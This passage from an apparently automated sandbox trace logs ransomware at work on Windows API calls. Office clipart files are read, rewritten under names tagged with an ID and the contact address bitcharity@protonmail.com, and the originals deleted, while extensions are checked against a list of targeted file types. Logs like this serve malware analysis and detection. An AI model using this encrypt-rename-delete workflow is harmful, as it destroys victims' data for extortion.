office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0301.469] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.469] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0301.470] GetLastError () returned 0x0 [0301.470] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0xa38, lpOverlapped=0x0) returned 1 [0301.555] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xa40, lpOverlapped=0x0) returned 1 [0301.559] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.559] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.559] SetEndOfFile (hFile=0x109c) returned 1 [0301.559] CloseHandle (hObject=0x109c) returned 1 [0301.560] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.560] SetEndOfFile (hFile=0x10a0) returned 1 [0301.560] CloseHandle (hObject=0x10a0) returned 1 [0301.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0301.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.669] lstrlenW (lpString=".doc") returned 4 [0301.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.669] lstrlenW (lpString=".docx") returned 5 [0301.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.669] lstrlenW (lpString=".pdf") returned 4 [0301.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.669] lstrlenW (lpString=".xls") returned 4 [0301.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.669] lstrlenW (lpString=".xlsx") returned 5 [0301.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.669] lstrlenW (lpString=".ppt") returned 4 [0301.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.669] lstrlenW (lpString=".zip") returned 4 [0301.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.669] lstrlenW (lpString=".rar") returned 4 [0301.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.669] lstrlenW (lpString=".bz2") returned 4 [0301.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.669] lstrlenW (lpString=".7z") returned 3 [0301.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.670] lstrlenW (lpString=".dbf") returned 4 [0301.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.670] lstrlenW (lpString=".1cd") returned 4 [0301.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.670] lstrlenW (lpString=".jpg") returned 4 [0301.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.670] lstrlenW (lpString=".doc") returned 4 [0301.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.670] lstrlenW (lpString=".docx") returned 5 [0301.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.670] lstrlenW (lpString=".pdf") returned 4 [0301.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.670] lstrlenW (lpString=".xls") returned 4 [0301.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.670] lstrlenW (lpString=".xlsx") returned 5 [0301.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.670] lstrlenW (lpString=".ppt") returned 4 [0301.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.670] lstrlenW (lpString=".zip") returned 4 [0301.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.670] lstrlenW (lpString=".rar") returned 4 [0301.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.671] lstrlenW (lpString=".bz2") returned 4 [0301.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.671] lstrlenW (lpString=".7z") returned 3 [0301.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.671] lstrlenW (lpString=".dbf") returned 4 [0301.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.671] lstrlenW (lpString=".1cd") returned 4 [0301.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0301.671] lstrlenW (lpString=".jpg") returned 4 [0301.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.671] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.671] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0301.672] GetLastError () returned 0x0 [0301.672] ReadFile (in: hFile=0x10a4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x1efc, lpOverlapped=0x0) returned 1 [0301.744] WriteFile (in: hFile=0x10e8, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x1f00, lpOverlapped=0x0) returned 1 [0301.749] ReadFile (in: hFile=0x10a4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.752] WriteFile (in: hFile=0x10e8, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.752] SetEndOfFile (hFile=0x10e8) returned 1 [0301.752] CloseHandle (hObject=0x10e8) returned 1 [0301.752] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.752] SetEndOfFile (hFile=0x10a4) returned 1 [0301.753] CloseHandle (hObject=0x10a4) returned 1 [0301.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0302.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0303.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.014] lstrlenW (lpString=".doc") returned 4 [0303.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.014] lstrlenW (lpString=".docx") returned 5 [0303.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.014] lstrlenW (lpString=".pdf") returned 4 [0303.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.014] lstrlenW (lpString=".xls") returned 4 [0303.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.014] lstrlenW (lpString=".xlsx") returned 5 [0303.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.014] lstrlenW (lpString=".ppt") returned 4 [0303.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.014] lstrlenW (lpString=".zip") returned 4 [0303.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.014] lstrlenW (lpString=".rar") returned 4 [0303.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.014] lstrlenW (lpString=".bz2") returned 4 [0303.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.014] lstrlenW (lpString=".7z") returned 3 [0303.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.014] lstrlenW (lpString=".dbf") returned 4 [0303.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.014] lstrlenW (lpString=".1cd") returned 4 [0303.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.015] lstrlenW (lpString=".jpg") returned 4 [0303.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.015] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.015] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0303.016] GetLastError () returned 0x0 [0303.016] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0303.138] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0303.139] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.139] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.139] SetEndOfFile (hFile=0x1088) returned 1 [0303.139] CloseHandle (hObject=0x1088) returned 1 [0303.140] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.140] SetEndOfFile (hFile=0x10d4) returned 1 [0303.140] CloseHandle (hObject=0x10d4) returned 1 [0303.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0303.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.141] lstrlenW (lpString=".doc") returned 4 [0303.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.141] lstrlenW (lpString=".docx") returned 5 [0303.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.141] lstrlenW (lpString=".pdf") returned 4 [0303.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.141] lstrlenW (lpString=".xls") returned 4 [0303.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.141] lstrlenW (lpString=".xlsx") returned 5 [0303.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.141] lstrlenW (lpString=".ppt") returned 4 [0303.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.141] lstrlenW (lpString=".zip") returned 4 [0303.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.141] lstrlenW (lpString=".rar") returned 4 [0303.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.142] lstrlenW (lpString=".bz2") returned 4 [0303.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.142] lstrlenW (lpString=".7z") returned 3 [0303.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.142] lstrlenW (lpString=".dbf") returned 4 [0303.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.142] lstrlenW (lpString=".1cd") returned 4 [0303.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.142] lstrlenW (lpString=".jpg") returned 4 [0303.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.142] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.142] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0303.143] GetLastError () returned 0x0 [0303.143] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x738, lpOverlapped=0x0) returned 1 [0303.514] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x740, lpOverlapped=0x0) returned 1 [0303.514] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.514] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.515] SetEndOfFile (hFile=0x1088) returned 1 [0303.515] CloseHandle (hObject=0x1088) returned 1 [0303.515] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.515] SetEndOfFile (hFile=0x10d4) returned 1 [0303.516] CloseHandle (hObject=0x10d4) returned 1 [0303.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0303.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.516] lstrlenW (lpString=".doc") returned 4 [0303.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.516] lstrlenW (lpString=".docx") returned 5 [0303.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.516] lstrlenW (lpString=".pdf") returned 4 [0303.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.517] lstrlenW (lpString=".xls") returned 4 [0303.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.517] lstrlenW (lpString=".xlsx") returned 5 [0303.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.517] lstrlenW (lpString=".ppt") returned 4 [0303.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.517] lstrlenW (lpString=".zip") returned 4 [0303.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.517] lstrlenW (lpString=".rar") returned 4 [0303.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.517] lstrlenW (lpString=".bz2") returned 4 [0303.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.517] lstrlenW (lpString=".7z") returned 3 [0303.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.517] lstrlenW (lpString=".dbf") returned 4 [0303.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.517] lstrlenW (lpString=".1cd") returned 4 [0303.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.517] lstrlenW (lpString=".jpg") returned 4 [0303.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.518] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.518] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0303.518] GetLastError () returned 0x0 [0303.518] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x2b8, lpOverlapped=0x0) returned 1 [0303.519] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x2c0, lpOverlapped=0x0) returned 1 [0303.523] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.523] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.523] SetEndOfFile (hFile=0x1088) returned 1 [0303.524] CloseHandle (hObject=0x1088) returned 1 [0303.524] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.524] SetEndOfFile (hFile=0x10d4) returned 1 [0303.525] CloseHandle (hObject=0x10d4) returned 1 [0303.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0303.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.525] lstrlenW (lpString=".doc") returned 4 [0303.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.526] lstrlenW (lpString=".docx") returned 5 [0303.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.526] lstrlenW (lpString=".pdf") returned 4 [0303.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.526] lstrlenW (lpString=".xls") returned 4 [0303.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.526] lstrlenW (lpString=".xlsx") returned 5 [0303.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.526] lstrlenW (lpString=".ppt") returned 4 [0303.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.526] lstrlenW (lpString=".zip") returned 4 [0303.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.526] lstrlenW (lpString=".rar") returned 4 [0303.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.526] lstrlenW (lpString=".bz2") returned 4 